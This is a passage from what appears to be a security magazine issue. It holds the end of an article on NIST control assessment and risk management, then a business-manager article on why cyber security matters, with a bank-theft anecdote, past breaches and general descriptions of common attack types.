begin. NIST SP800-70 [10] and the other documents 

in the NIST SP800 series provide guidance on control 

implementation. Configuration checklists published at 

the National Checklist Program Repository [11] provide 

detailed configuration guidance with recommended 

settings. The checklists are provided in different 

formats for use. Tier I checklists are human readable, 

Tier II are machine readable non-SCAP, Tier III should 

work in a SCAP validated tool, and Tier IV will work in 

a SCAP validated tool. 

Implementing controls is only a portion of the actual 

work. The controls need to be tested to verify they have 

been implemented correctly, operating as intended, and 

producing the desired security outcomes with respect 

to meeting the security requirements of the system. 

NIST SP800-53A [12] provides guidance on assessing 

system security controls. 

The recommended process begins with preparing 

for the security controls assessment. The preparation 

process includes gathering the information needed 

by the assessors, setting the expectations of affected 

parties regarding scope, depth, time schedule, gathering 

supporting documentation, etc. Resources will need to 

be obtained and assessor/auditors selected. Ideally, 

the assessors should have independence from the 

business and technology groups so they can provide an 

unbiased review. 

The second step of the assessment process is 

to create an assessment plan. The plan should 

determine the scope of the assessment and which 

controls will be tested. Specific test procedures and 

assessment depth should be determined. Three 

types of assessment procedures are defined: controls 

examination, interview personnel, and controls testing. 

Three assessment procedure depths are defined 

progressing from the basic examination to the focused 

examination and leading to the comprehensive 

examination. Specific tests may need to be created to 

assess items not sufficiently covered by NIST SP800- 

53A or to meet organizational requirements. After the 

plan has been completed, it will need to be approved 

prior to testing. 


Resource 

• http://www.iso.org/iso/home.html [1] 

• http://www.iec.ch/ [2] 

• http://www.iso.org/iso/iso_catalogue/catalogue_tc/catalogue_detail.htm?csnumber=42103 [3] 

• https://www.isaca.org/Pages/default.aspx [4] 

• http://www.isaca.org/Knowledge-Center/cobit/Pages/Downloads.aspx [5] 

• http://csrc.nist.gov/ [6] 

• http://csrc.nist.gov/publications/ps/ps199/FIPS-PUB-199-nal.pdf [7] 

• http://csrc.nist.gov/publications/nistpubs/800-53-Rev3/sp800-53-rev3-nal_updated-errata_05-01-2010.pdf [8] 

• http://csrc.nist.gov/publications/nistpubs/800-18-Rev1/sp800-18-Rev1-nal.pdf [9] 

• http://csrc.nist.gov/publications/nistpubs/800-70-rev2/SP800-70-rev2.pdf [10] 

• http://web.nvd.nist.gov/view/ncp/repository [11] 

• http://csrc.nist.gov/publications/nistpubs/800-53A-rev1/sp800-53A-rev1-nal.pdf [12] 

The actual assessment begins with a set of 

determination statements that related to the security 

controls implemented from the catalog in NIST SP800- 

53. An individual control listed in NIST SP800-53 may 

have multiple assessment objectives listed for the 

control in NIST SP800-53A. 

For example, NIST SP800-53 provides control AC- 

1 Access Control Policies and Procedures. NIST 

SP800-53A has two control objectives listed: AC-1.1 

and AC-1.2. NIST SP800-53A assessment objective 

AC-1.1 determines if the policy and procedures exist, 

contain certain key items, distributes the policy, 

develops procedures, and distributes the procedures 

to the appropriate staff. Control objective AC-1.2 

determines if the policies and procedures have a 

defined update schedule and the organization actually 

updates the policies and procedures according to the 

schedule. 

The output of the security control assessment is the 

security assessment report. The security assessment 

report details the items tested and documents the results 

to provide evidence for each finding. For each item a 

rating of either satisfied (S) or other than satisfied (O). 

The organization may wish to have a summary report 

that provides the highlights of the report, a synopsis of 

key findings, and recommendations for addressing the 

deficiencies. 

The security assessment report will need to be 

reviewed by senior management. Management may 

determine that certain items present a lower or higher 

risk than indicated in the controls assessments and 

risk assessments based on the organization mission 

and the operational environment. Items that should 

be addressed are used to create a plan of actions 

and milestones (POAM) that management can use to 

direct remediation efforts. After management review, 

the system security plan and risk assessment should 

be updated accordingly. It should be noted that some 

risk will remain after the implementation of controls. 

This residual risk may be accepted by management 


or transferred to others through actions such as 

obtaining insurance policies. 

The risk management cycle is a continuous process. 

After these steps have been completed, the results 

should be used as a starting point for a new risk 

management cycle. The risk management framework 

can be adapted to the individual requirements of the 

organization. Since technologies and threats evolve 

over time, the risk management cycle should be 

repeated at regular intervals. The process can be used 

for new systems under development to ensure proper 

control selection or it can be applied to existing system 

to perform a gap analysis to evaluate current controls 

with the desired state. 

BART HOPPER 

Bart Hopper has earned numerous certications during 

his 18 years as an information technology professional. 

His certications cover the areas of information security, 

Windows administration, Unix administration, and database 

administration. He lives in Nashville, Tennessee. 


SOLUTIONS 

Why is Cyber Security 

Important? 

Cyber Security – Who is Responsible? 

Martha, the branch manager of a small private bank, while 

casually checking some bank statements noticed a large number 

of unusual transactions on a number of savings accounts 

belonging to pensioners. It appeared as though a number of 

pensioners had suddenly decided to transfer a portion of their 

pension money into a couple of accounts belonging to a Mr. A and 

Mrs. C, who had then withdrawn all the money from various ATMS. 

One of the pensioners was her own uncle. A 

puzzled Martha decided to contact her uncle 

who denied having made any such payments 

to anyone. Besides, he was not tech savvy to operate a 

computer and transfer money into other accounts. 

The bank had recently computerized their systems 

and implemented a basic version of online banking 

and had enrolled a number of customers to transact 

online. But the bank had no qualified IT manager and 

Martha also doubled up as a tech manager in charge 

of babysitting the systems. Only Martha had the admin 

rights to conduct the end to end steps needed to 

complete the money transfers, and she had definitely 

not done those transactions. And the time stamps of 

the transactions were all on weekends and late nights 

when she and no one else were available in the bank 

to do any hanky panky. Martha could not decipher 

what could have gone wrong. Suspecting something 

bigger she immediately notified the bank head, who 

then called the police. The police brought their techie 

who immediately discovered that many accounts have 

been hacked by someone who had systematically 

siphoned off thousands of dollars remotely using the 

loopholes of the basic online system. However, the 

police could do nothing because the bank’s computer 

systems were not capable of providing the necessary 

logs and other details needed to track the thieves. 

After a brainstorming internal discussion the bank 


management decided to absorb the losses to avoid 

bad publicity and media attention. And the thieves 

who did this act were never caught and were probably 

enjoying a holiday somewhere. In other words, the 

bank had been robbed. 

Until a decade ago if you had to rob a bank it 

was necessary to indulge in an armed invasion, 

take hostages, spill blood, use getaway cars, etc., 

along with all the associated risks of botching up the 

operation. Or you had to indulge in excellent forgery 

and duplicate paperwork to siphon off funds. But today 

it is not necessary for you to even visit a bank to loot 

it without raising any alarms for weeks. So how is it 

now easy for criminals to loot a bank? The simple 

answer is the Internet. Today, many aspects of our 

life like banking, purchases, communications, etc., 

and even the militaries depend on the internet and 

worldwide connectivity. While the internet offers several 

conveniences, it can also ruin your life in an instant 

with threats like identity thefts, online scams and other 

threats. For example, a tech savvy thief can simply sit in 

his home comfortably and leisurely hack into the bank’s 

computer system using some nasty software to swindle 

hundreds of customers of their money. While this is an 

example of plain theft, the internet can also be used for 

much bigger crimes. For example, rogue countries can 

launch a mega cyber attack on another country and 

cripple its websites, banking systems, communications, 


etc., and create mayhem. And all of these nefarious 

activities can be done anonymously sitting anywhere 

in the world. Worldwide hundreds of companies get 

hacked into and many do not even realize they have 

been hacked because they will not have the required 

expertise to detect it. Sometimes the hacking can be 

harmless and sometimes it can be deadly and can even 

ruin an organization. For example, the recent hacking 

of Sony Play station network caused a great amount of 

damage and annoyance to millions of users. The breach 

also led to the theft of the data of more than 70 million 

users and took Sony several days to restore and fix the 

system. Sony is not alone. Unknown to most people and 

business managers there have been scores of computer 

attacks, network intrusions, or data breaches over the 

last few years. Every time we make a purchase online, 

visit a website, carry out an online banking transaction, 

we are exposing ourselves to risk. Here is a small list of 

major hackings that happened over the last few years. 

• Citibank: A Russian computer geek called Vladimir 

Levin was the first person to hack into a bank to 

extract money. As early as 1995, he hacked into 

Citibank and robbed $10 million. Interpol arrested 

him in the UK in 1995, after he had transferred 

money to his accounts in the US, Finland, Holland, 

Germany and Israel. 

• A US hacker called Timothy Lloyd planted a few 

lines of malicious code in the computer network of 

Omega Engineering, which was a prime supplier 

of components for NASA and the US Navy. The 

code was actually a logic bomb designed to 

delete software running Omega’s manufacturing 

operations. Omega lost $10 million due to the 

attack. 

• The Melissa virus was the first of its kind to wreak 

damage on a global scale. Written by one David 

Smith, Melissa spread itself to thousands of 

companies worldwide destroying and destabilizing 

their computer networks. Damages reported 

amounted to nearly $400 million. Smith was 

arrested and sentenced to five years in prison. 

• Google gmail: Chinese hackers were able to take 

over hundreds of gmail accounts, including those of 

some US defence personnel, political activists and 

many others. 

• NASA: Many servers in NASA were penetrated by 

hackers who were able to steal confidential data 

related to satellites and imagery. 

And the list can go on and on. Some of the common 

ways computers can get hacked or disabled will be as 

follows. 


Password Stealing 

A password is just a string of keyboard characters, which 

a person must remember and type into a computer 

terminal when required. There are several methods for 

cracking a password. Specialized password cracking 

softwares are now available that can crack your 

password using dictionary attacks, brute force attacks, 

and hybrid attacks. 

Trojan Horses 

A Trojan horse is a malicious software surreptitiously 

delivered inside a computer. The malicious Trojan 

horse can be programs that destroy hard drives, corrupt 

files, record keystrokes, monitor network traffic, track 

Web usage, allow remote control, transmit data files 

to others, launch attacks against other targets, and 

more. All a Trojan horse attack needs to be successful 

is a single user to execute the program. Once that is 

accomplished, the malicious software is automatically 

launched often without any symptoms of unwanted 

activity. A Trojan horse could be delivered via e-mail 

as an attachment, or it could be presented on a Web 

site as a download, etc. In any case, your protection 

lies in malicious code detection tools, modern anti-virus 

protection, other forms of malware scanners, and user 

education. 

Denial of Service 

Sometimes a hacker uses a network of computers to 

sabotage a specific Web site or server. The idea is to 

make all the computers to contact a specific server or 

Web site repeatedly. The sudden increase in traffic can 

cause the site to become very slow or just collapse. 

Sometimes the traffic is enough to shut the site down 

completely. This is called Denial of Service (DoS) 

attack. 

Exploiting Settings 

Attacking a target network or computer is easier when 

that target is using the defaults set by the manufacturer. 

Many attack tools and scripts assume that the target 

is configured using the default settings. Hence, one of 

the effective security precautions is simply to change 

the defaults. It is your responsibility to know about the 

defaults of the hardware and software products you 

use and change those defaults to custom settings. The 

more you customize your configurations and settings, 

the more your system will be incompatible with attack 

tools and exploitation scripts. 

Defacing Websites 

A fairly common form of external attack is web site 

defacing. Your company websites can be defaced 


and nonsense information displayed. This attack uses 

password cracking to penetrate websites that the 

attacker wants to deface. Some of the common ways 

to get into a website is by dictionary attack. A dictionary 

file (a text file full of dictionary words) is loaded into 

a cracking application, which is run against common 

user accounts used by the application or website login. 

Because the majority of passwords are often simplistic, 

running a dictionary attack is often sufficient to do the 

job. 

Packet Sniffing 

Packet sniffer is an application that captures data 

packets, which can be used to capture passwords and 

other data in transit over the network. 

Key Loggers 

These are programs that record keystrokes made by a 

user, allowing crackers to discover passwords and login 

codes. 

Rootkits and Backdoors 

Rootkits are a collection of programs that permits 

administrator-level control of a computer. Hackers 

use rootkits to control computers and evade detection. 

Backdoors are methods of circumventing the normal 

operating-system procedures, allowing a cracker to 

access information on another computer. 

Spoong attack (Phishing) 

A spoofing attack usually involves a program, system, or 

website masquerading as another thereby being treated 

as a trusted system by a user or another program. The 

purpose of this is usually to fool programs, systems, or 

users into revealing confidential information, such as 

user names and passwords, to the attacker. 

Vulnerability Scanner 

A vulnerability scanner is a tool used to check computers 

and networks for known weaknesses. Hackers also 

commonly use port scanners. These softwares check 

to see which ports on a specified computer are open 

or available to access the computer. Once open ports 

are discovered smart programmers can access the 

computer or network and cause havoc. 

So how do you protect your organization from such 

attacks? The simple answer of avoiding the internet 

is not a feasible answer because the global economy 

now depends on the internet, and you cannot opt 

out of it. Hence, customers, businessmen and 

governments need additional confidence that their 

money, confidential documents, military secrets, 


SOLUTIONS 

etc., are not compromised by pranksters and 

enemies. Providing this additional confidence lies 

in implementing a proper cyber security system to 

prevent unauthorized entry into a computer network. 

However, an important question that arises in all 

these discussions is – who are the owners of cyber 

security in an organization? Most would immediately 

say the owners would (or should) be the person(s) 

supporting the IT equipment. After all, you might 

argue those techies are the ones babysitting the 

computer systems. But this is an incorrect assumption. 

Actually, the true owners of cyber security are the 

business managers of your organization. Though your 

organization may have hired some IT staff or external 

vendors to manage the IT infrastructure, but from a 

business perspective they are not the owners of your 

cyber security. For example, if your server gets hacked 

and funds stolen from customer accounts the techies 

cannot be solely blamed for the crime and reputation 

damage. They may technically operate the system, but 

it is your business managers who should understand 

the potential loss in terms of financial, reputation or 

legal aspects of cyber attacks. In most organizations 

business managers do not understand (or try to 

understand) the technical department’s work and 

constraints, and technical people do not understand (or 

try to understand) the business people’s needs. While 

this does not mean the business manager become 

techies themselves, they can assist in implementing 

cyber security by doing the following good deeds for 

their techies. 

Knowledge 

The advancement and easy availability of new and 

useful technologies today have enabled thousands 

of organizations worldwide to implement and become 

heavily dependent on technology for running their 

businesses. Today, it is not possible to run any 

organization, small or big, without the use of some 

computer- or telecom-related technology. With so much 

proliferation of hardware, software and networking 

equipment, it is necessary for business managers 

to be aware of the advantages and disadvantages 

of using technology. While it does not mean they 

start operating the computers themselves, business 

managers must understand what the loss is in terms of 

financial, reputation, regulatory or legal consequences 

for disasters related to cyber threats. 

Financial Support 

Provide necessary budgets for comprehensive 

maintenance of hardware, software, telecom equipment, 

spares, backup devices, etc. For example, suppose 


your business managers do not approve the purchase 

of a good firewall and intrusion protection system, or fail 

to enroll into hardware maintenance for an important 

server – the IT staff will not be able to do much in the 

event of a hacking, data loss or some other technical 

problem on that server. 

Provide Proper Manpower 

Reduced manpower and facilities in critical areas will 

inevitably, directly or indirectly, affect the business. It 

is worth highlighting that no matter how secure the 

technology is people are still the key to real security. 

If employees do not see security as a top priority, then 

even the most secure system can easily be broken into. 

Even with robust technology, there is always a need 

for high-quality employees and a proper education 

in place between business and employee. After all, 

unprofessional or disaffected users all too often pass 

critical information like passwords, loopholes, codes, 

etc., to others. Secondly, your business managers must 

ensure that departments have the necessary manpower 

in all areas. It is very common in organizations to skimp 

on manpower when it comes to support, maintenance, 

etc., but demand the best from a slave-sized workforce. 

The common saying Hire an Einstein, but refuse his 

request for a blackboard describes a situation that is 

prevalent in many organizations worldwide. 

Implement recommendations 

Your business managers must listen to recommendations 

proposed by technical staff, support staff, etc, for 

implementing a proper hacker prevention environment. 

Establishing such a system is an expensive business. 

Not every critical IT function can be worked around 

with a low-cost alternative. It is a common practice 

in many organizations to ignore or avoid IT and non- 

IT recommendations by giving standard excuses, 

like cost, even though organizations will be perfectly 

capable of affording it. If you are serious about intrusion 

prevention, then your senior management must support 

the necessary costs and budgets for implementing all 

sensible recommendations, industry standards and 

workarounds necessary for intrusion prevention. 

Get involved 

Senior management, including the CEO, must get 

involved in all aspects of their organization’s intrusion 

prevention processes. You must have a Show me 

or Prove it to me attitude to ensure your business 

is truly protected. Nowadays, having a proper cyber 

security system for many organizations is a mandatory 

business and audit requirement. So it should not be 

taken lightly. 


Policies 

Just like other essential policies in HR, finance, etc, 

a proper intrusion prevention policy must be enforced 

for all critical systems by the senior management. 

Secondly, all concerned employees must be properly 

trained to handle and report suspicious activities on their 

computer systems. Periodic audits must be conducted 

to ensure employees are following all policies and 

processes. 

Sustained commitment 

Cyber security is like insurance and costs money 

constantly. It is not enough to show interest and invest 

some money on a one-off basis. One of the primary 

roadblocks for cyber security will be lack of sustained 

top management commitment. For example, the top 

management may approve the establishment of a 

good cyber security system at a time when they are 

particularly influenced by business and competitive 

pressures. But later they may not be willing to invest 

the necessary ongoing budgets and manpower to 

keep the system fully operational at all times. This can 

result in their systems becoming outdated and become 

vulnerable to attacks. So continuous commitment and 

expenditure are required to establish the latest proper 

cyber security standards. 

In spite of all the precautions it is still possible to 

get hacked. Nevertheless, with the above kinds of 

involvement by business managers your organization 

can be assured of a highly secure cyber security 

system that can handle almost all types of hackings. 

Finally, we can end this article with a quote by David 

Brower who says – All technology should be assumed 

guilty until proven innocent. 

THEJENDRA 

Thejendra is an IT manager from India. He is also the author 

of Practical IT Service Management, Disaster Recovery & 

Business Continuity, God is No Angel, etc. Visit his web cave – 

www.thejendra.com for more details. 


In the next issue of 

Mobile 

Pentesting 

Available to download 

on January 8 th 

Soon in Pentest! 

• Shawn Valle 

• Daniel O‘Donor 

• Mouad Zahrane 

• Colin Schwingen 

If you would like to contact PenTest team, just send an email to 

maciej.kozuszek@software.com.pl or 

ewa.dudzic@software.com.pl . We will reply a.s.a.p.

Editor's note

Create successful ePaper yourself

Delete template?

Save as template?